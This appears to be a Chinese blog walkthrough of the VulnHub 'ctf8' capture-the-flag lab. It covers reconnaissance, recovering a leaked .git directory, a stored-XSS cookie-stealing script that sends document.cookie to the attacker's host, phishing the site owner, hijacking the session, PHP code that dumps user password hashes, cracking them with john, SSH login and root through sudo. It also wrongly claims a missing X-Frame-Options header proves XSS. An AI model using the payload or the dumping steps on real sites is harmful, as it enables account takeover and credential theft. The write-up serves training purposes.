ctf8 vulnhub靶场

这关需要寻找flag,很多很多flag
kali攻击机ip :192.168.181.129

nmap -sP 192.168.181.0/24

在这里插入图片描述

nmap -p 1-65535 -A 192.168.181.153

在这里插入图片描述

80,22端口开放

用nikto再扫一下80端口web服务

nikto -h 192.168.181.153

在这里插入图片描述

首先了解一下 X-Frame-Options(点击劫持)

X-Frame-Options是一个HTTP标头(header),用来告诉浏览器这个网页是否可以放在iFrame内

X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

X-Frame-Options: ALLOW-FROM http:xxx

1.告诉浏览器不要(DENY)把这个网页放在iFrame内,通常的目的就是要帮助用户对抗点击劫持。
2.告诉浏览器只有当架设iFrame的网站与发出X-Frame-Options的网站相同,才能显示发出X-Frame-Options网页的内容。
3.告诉浏览器这个网页只能放在http://caibaojian.com//网页架设的iFrame内。 不指定X-Frame-Options的网页等同表示它可以放在任何iFrame内。 X-Frame-Options可以保障你的网页不会被放在恶意网站设定的iFrame内,令用户成为点击劫持的受害人。

X-Frame-Options
HTTP响应头是用来确认是否浏览器可以在frame或iframe标签中渲染一个页面,网站可以用这个头来保证他们的内容不会被嵌入到其它网站中,以来避免点击劫持。
X-Frame-Options危害:
攻击者可以使用一个透明的、不可见的iframe,覆盖在目标网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击iframe页面的一些功能性按钮上,导致被劫持。

没有设置X-Frame-Options参数,证明这个网站存在xss漏洞

dirb扫一下目录

dirb http://192.168.181.153

重点关注.git,admin,robots.txt,phpinfo.php,user,profile,webmail/src/login

在这里插入图片描述

在这里插入图片描述

.git:

.git文件是开发人员在开发过程中使用
Git(分布式版本控制系统)做开发时产生的隐藏目录,该文件包含一些版本信息和网站源码,数据库信息等敏感信息。
通常开发人员在开发时,通常将源码提交到远程的托管网站(如Github)方便管理与交互,等到开发最后阶段,再将源码从远程服务器上下载到 web
目录下, 如果开发人员忘记将其中的 .git文件删除,则可以通过 .git文件恢复网站源码,来获取一些敏感信息;

使用scrabble扫描url,可以把.git文件下载下来

mkdir Drupalctf8
cd Drupalctf8
../scrabble http://192.168.181.153

在这里插入图片描述

在这里插入图片描述

cd sites
cd default
cat settings.php

在这里插入图片描述

数据库用户root ,密码JumpUpAndDown

先查看80端口

在这里插入图片描述

注册一个新用户登录,我随便弄了个用户名aa

查看phpinfo,得到一个flag

在这里插入图片描述

查看robots.txt时,发现第二个flag

在这里插入图片描述

查看profile,是员工的list

在这里插入图片描述

查看Recent posts,发现帖子大部分属于Barbara,有可能是这个网站的主人

在这里插入图片描述

查看邮件的时候,又发现了一个flag,第三个

在这里插入图片描述

信息收集的差不多了,开始渗透

首先是试试一开始找到的xss漏洞,随便找个地方试试注入,我这个是Brabara的一个评论区

<script>alert(“xss”)</script>

在这里插入图片描述

这个评论区存在xss漏洞,可以执行js代码

在这里插入图片描述

利用xss漏洞提取cookie登录Brabara用户

cookie:

浏览器发送第一次请求时,服务器会判断有没有Cookie,如果没有就创建Cookie,以名值对的形式将sessionId保存在Cookie中并响应,浏览器接收响应并把Cookie保存在客户端浏览器,当浏览器下一次发送请求时,request中会自动带着Cookie去发送到服务器端,服务器接收处理并再次响应

我们的思路就是,将提取cookie的js代码写入一个脚本文件,然后引导Brabara访问我们的脚本文件url,他的cookie就会被提取并且发送给我们,我们就可以利用提取到的有效cookie免密码登录他的账号

接下来就是编写php代码,但是因为本人对js和php还是属于会看但不太会写的阶段,所以后续的代码大都参考别的博主书写

依旧在这个评论区,写入js代码
该作用是将访问本评论的用户的账号的cookie发送到我的靶机开启的http服务的80端口上;并且由于这个url实际没有服务器响应,访问者点击后会返回404

<script>
var request=new XMLHttpRequest();
var redirect_url="http://192.168.181.129:80/"+document.cookie;
request.open("GET",redirect_url);
request.send();
</script>

在这里插入图片描述

保存评论

接下来在kali里面开启http服务

在这里插入图片描述

万事俱备,接下来就是怎么让鱼儿上钩了

注意到这里可以发邮件联系Barbara,找个理由让他点开我们的评论

在这里插入图片描述

在这里插入图片描述

发送

等一小会,就会有人来访问这个url了

回到kali,可以看见有几个用户的cookie发过来了,但是具体哪个才是Barbara,还是要试一试才知道

在这里插入图片描述

先log out我们的账号,重新登陆,抓包修改cookie字段
这里我推荐使用kali的浏览器,windows的浏览器好多未知请求

在这里插入图片描述
成功登陆

在这里插入图片描述

后面的每一个操作都需要抓包修改cookie,不然就直接登出了

登进来了,然后呢?

当然是找用户和密码登陆ssh!

前面有数据库的信息,账号密码很有可能保存在数据库里面

找地方写入php代码查询数据库信息,就在这个Creat content,creat一个page

别忘了选php code

在这里插入图片描述

mysqli_fetch_array函数:将结果作为关联数组或数字数组返回

<?php
$result=db_query('show tables');
while($test=mysqli_fetch_array($result)){
print_r($test[0]."<br/>");
}

?>

mysqli_fetch_object:将结果作为对象返回

<?php
$result=db_query('select table_name from information_schema.tables ');
while($test=mysqli_fetch_object($result)){
print_r($test->table_name."<br/>");
}

?>

在这里插入图片描述

<?php
$result=db_query('select column_name from information_schema.columns where table_name="users" ');
while($test=mysqli_fetch_object($result)){
print_r($test->column_name."<br/>");
}

?>

在这里插入图片描述

<?php
$result=db_query('select name,pass from users ');
while($test=mysqli_fetch_object($result)){
print_r($test->name.":".$test->pass."<br/>");
}

?>

在这里插入图片描述

admin:49265c16d1dff8acef3499bd889299d6
Barbara:bed128365216c019988915ed3add75fb
Jim:2a5de0f53b1317f7e36afcdb6b5202a4
Steve:08d15a4aef553492d8971cdd5198f314
Sherry:c3319d1016a802db86653bcfab871f4f
Gene:9b9e4bbd988954028a44710a50982576
Harvey:7d29975b78825ea7c27f5c0281ea2fa4
John:518462cd3292a67c755521c1fb50c909
Johnathan:6dc523ebd2379d96cc0af32e2d224db0
Susan:0d42223010b69cab86634bc359ed870b
Dan:8f75ad3f04fc42f07c95e2f3d0ec3503
George:ed2b1f468c5f915f3f1cf75d7068baae
Jeff:ca594f739e257245f2be69eb546c1c04
Stacey:85aca385eb555fb6a36a62915ddd8bc7
Juan:573152cc51de19df50e90b0e557db7fe
Michael:c7a4476fc64b75ead800da9ea2b7d072
Jerome:42248d4cb640a3fb5836571e254aee2b
Tom:971dcf53e88e9268714d9d504753d347
Xavier:3005d829eb819341357bfddf541c175b
Sally:7a1c07ff60f9c07ffe8da34ecbf4edc2
aa:4124bc0a9335c27f086f24ba207a4912

爆出账号密码,但是是加密后的

用john解密,这里的数据加密方式是md5

john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 passDC8.txt

在这里插入图片描述

想用hydra爆破,但是很遗憾,我的hydra一直报错,也查找不到解决方法,只是大概知道是算法不支持的问题

在这里插入图片描述

那这一步就跳过,直接上网找现成的

(需要把邮箱用户名加进去字典里才能破解成功)

login: bdio   password: passw0rd
login: spinkton   password: football123
login: jharraway   password: letmein!

ssh连接

按常规方法连接有可能会报错,ssh不支持sha1算法,之前ctf4就是这样,但是这里我找到解决方法了

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc bdio@192.168.181.153

这里有个flag

在这里插入图片描述

用户目录下有一个flag

在这里插入图片描述

想看看别的用户目录,但没有权限

在这里插入图片描述

试试提权

bdio不能执行sudo命令,那就换一个用户

在这里插入图片描述

su spinkton

在这里插入图片描述

居然可以执行所有sudo命令?!那就直接可以提权了

在这里插入图片描述

在这里插入图片描述

查找发现,各个用户的目录下都有flag

在这里插入图片描述

那就一次性输出它们

cat ./*/flag

在这里插入图片描述

还有这里

在这里插入图片描述

cat /etc/passwd

这里也有

在这里插入图片描述

#flag#550e1bafe077ff0b0b67f4e32f29d751

#flag#57dbe55b42b307fb4115146d239955d0

#flag#4db00563d4181dc8d1dfd3b5cd6dc708

#flag#5e937c51b852e1ee90d42ddb5ccb8997

#flag#14e1b600b1fd579f47433b88e8d85291

#flag#228e04041ff2172704a46bf05d1025e2
#flag#0dd2ee4b75e2ae9e651d756a073ad845
#flag#2b0f0a14c00c8e1c4e11713ae4570d1e
#flag#1727712e26adec5956608218c0e1bc8d
#flag#129f58ad4af8f9de08bbd6bb7df22850
#flag#2f485b0d23c134ae06fd913ca2774853
#flag#0ab251c07822d26b07b88136739ae39b
#flag#34b5fa40a80f8596e56a422c0e65c21f
#flag#4241333025d7995adacc93eb6172a7b3
#flag#3b401580fa1184c9f4e66b6beb51a68f
#flag#0d8763b3866033eab7414b6166689fa8
#flag#307fbe82dcca96a884ab20c872422c57
#flag#4ce2645878d776c2a4f0e3c93d2a1b32
#flag#1d63be7ae33d0a258c1f93e61434c570
#flag#09fa6dc5d01788201df7b57cfc551002
#flag#49fb2e659dc8e2794bd401ca5b306057

#flag#ab38cd01f27d48e13bbef62890c4330e

#flag#5b650c18929383074fea8870d857dd2e

差不多就这样了 😃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值